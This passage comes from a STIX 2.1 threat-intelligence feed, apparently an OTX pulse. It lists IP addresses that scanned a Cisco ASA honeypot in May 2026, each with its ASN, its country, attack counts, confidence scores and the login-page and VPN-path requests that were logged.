          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-08T10:37:24.494Z",
          "last_seen": "2026-05-08T10:37:43.959Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /api/v2/static/not.found HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--ca45eeab-ae3d-4014-b5ff-ce5b2f648771",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T11:20:10.000Z",
      "valid_until": "2026-06-09T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 13,
          "first_seen": "2026-05-08T10:33:24.113Z",
          "last_seen": "2026-05-08T10:39:25.466Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
            "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
            "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /remote/logincheck HTTP/1.1\" 404 -",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
            "\"GET /login?redir=/ng HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--4ca07327-079e-46bc-9712-5938a125a070",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T11:20:10.000Z",
      "valid_until": "2026-06-09T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-08T10:37:48.841Z",
          "last_seen": "2026-05-08T10:37:48.841Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--b3746e61-378d-4246-a023-74e4a215ad19",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.110.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T11:20:10.000Z",
      "valid_until": "2026-06-09T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-08T11:01:29.342Z",
          "last_seen": "2026-05-26T04:34:24.050Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--8dbb5795-6d3b-42af-ade9-249e8cc03dc8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.78.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T11:20:10.000Z",
      "valid_until": "2026-06-09T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 19,
          "first_seen": "2026-05-08T10:41:52.197Z",
          "last_seen": "2026-05-27T11:43:56.996Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: SE; ASN 39351 (31173 Services AB)",
      "id": "indicator--79a0ff2b-8bff-4a87-b2f2-be1372c70c94",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.83.220.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T11:20:10.000Z",
      "valid_until": "2026-06-09T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 27,
          "first_seen": "2026-05-08T11:18:37.357Z",
          "last_seen": "2026-05-20T14:18:20.921Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 39351,
          "as_org": "31173 Services AB",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 60068 (Datacamp Limited)",
      "id": "indicator--7bddfce7-c993-428b-a5b8-9779f7ffa05d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '79.127.217.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T11:20:10.000Z",
      "valid_until": "2026-06-09T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-08T10:57:24.517Z",
          "last_seen": "2026-05-08T10:57:32.202Z",
          "country": "United States",
          "country_code": "US",
          "asn": 60068,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: SE; ASN 212238 (Datacamp Limited)",
      "id": "indicator--4fdeb4b4-ccb5-4528-9ad0-0e2fe364ead6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '89.37.63.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T11:20:10.000Z",
      "valid_until": "2026-06-09T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 90,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 225,
          "first_seen": "2026-05-08T10:27:04.341Z",
          "last_seen": "2026-05-31T05:21:23.456Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T12:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--9d744cab-c28d-4653-80c1-6fb78ab32eca",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.251.27.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T12:20:07.000Z",
      "valid_until": "2026-06-09T12:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 27,
          "first_seen": "2026-05-08T11:30:36.914Z",
          "last_seen": "2026-05-29T03:29:52.210Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T12:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: SE; ASN 212238 (Datacamp Limited)",
      "id": "indicator--ac7d5d40-d9d3-4e31-8bbd-4ab77c051b88",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '170.62.100.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T12:20:07.000Z",
      "valid_until": "2026-06-09T12:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 90,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 147,
          "first_seen": "2026-05-08T11:52:34.924Z",
          "last_seen": "2026-05-31T03:33:59.630Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T12:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: SE; ASN 39351 (31173 Services AB)",
      "id": "indicator--9a4e8e28-746e-440f-b6e0-8a79974d6e01",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.213.154.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T12:20:07.000Z",
      "valid_until": "2026-06-09T12:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 45,
          "first_seen": "2026-05-08T12:10:06.750Z",
          "last_seen": "2026-05-29T14:54:38.735Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 39351,
          "as_org": "31173 Services AB",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T12:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--0fde911e-7884-48dc-973c-cf696916f414",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.114.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T12:20:07.000Z",
      "valid_until": "2026-06-09T12:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-08T11:55:08.823Z",
          "last_seen": "2026-05-30T06:52:21.125Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T12:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--45ca2b14-19fc-4a0c-a0b1-dd5ea7954d83",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.83.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T12:20:07.000Z",
      "valid_until": "2026-06-09T12:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-08T11:37:36.836Z",
          "last_seen": "2026-05-10T10:26:01.153Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T12:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--188fba16-7791-48b9-b165-757a263b6f40",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.89.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T12:20:07.000Z",
      "valid_until": "2026-06-09T12:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-08T11:20:25.740Z",
          "last_seen": "2026-05-27T21:47:13.445Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T12:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: SE; ASN 212238 (Datacamp Limited)",
      "id": "indicator--d88f7ec3-21e3-41d5-b6aa-0ca2ea583acf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '89.37.63.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T12:20:07.000Z",
      "valid_until": "2026-06-09T12:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 90,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 201,
          "first_seen": "2026-05-08T11:35:15.159Z",
          "last_seen": "2026-05-30T04:51:25.257Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T13:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--24770505-7c42-4d33-b757-2073a5c42bcc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '173.249.252.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T13:20:10.000Z",
      "valid_until": "2026-06-09T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-08T12:44:44.840Z",
          "last_seen": "2026-05-31T05:13:36.074Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T13:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: SE; ASN 39351 (31173 Services AB)",
      "id": "indicator--3f8a31e7-cb80-4661-876b-dd206a26daed",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.209.198.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T13:20:10.000Z",
      "valid_until": "2026-06-09T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 63,
          "first_seen": "2026-05-08T13:00:54.345Z",
          "last_seen": "2026-05-27T22:44:24.965Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 39351,
          "as_org": "31173 Services AB",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T13:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: SE; ASN 39351 (31173 Services AB)",
      "id": "indicator--30105b3f-196f-46af-a378-6e2908d68747",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.209.199.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T13:20:10.000Z",
      "valid_until": "2026-06-09T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 57,
          "first_seen": "2026-05-08T12:44:23.256Z",
          "last_seen": "2026-05-30T15:11:20.362Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 39351,
          "as_org": "31173 Services AB",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T13:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: SE; ASN 39351 (31173 Services AB)",
      "id": "indicator--d4b0988d-623f-488e-932a-1eabbb99d04e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '193.138.218.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T13:20:10.000Z",
      "valid_until": "2026-06-09T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 44,
          "first_seen": "2026-05-08T13:17:51.429Z",
          "last_seen": "2026-05-30T14:00:31.122Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 39351,
          "as_org": "31173 Services AB",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T13:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 16509 (Amazon.com, Inc.)",
      "id": "indicator--e7504330-b5d6-4e44-9dd8-36caa7c5a215",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '3.131.220.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T13:20:10.000Z",
      "valid_until": "2026-06-09T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-08T13:10:20.050Z",
          "last_seen": "2026-05-18T09:28:40.780Z",
          "country": "United States",
          "country_code": "US",
          "asn": 16509,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T13:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: MY; ASN 45102 (Alibaba US Technology Co., Ltd.)",
      "id": "indicator--b8a58e12-9925-4906-bef8-869f9c36af45",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '47.250.53.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T13:20:10.000Z",
      "valid_until": "2026-06-09T13:20:09.000Z",
      "indicator_types": [
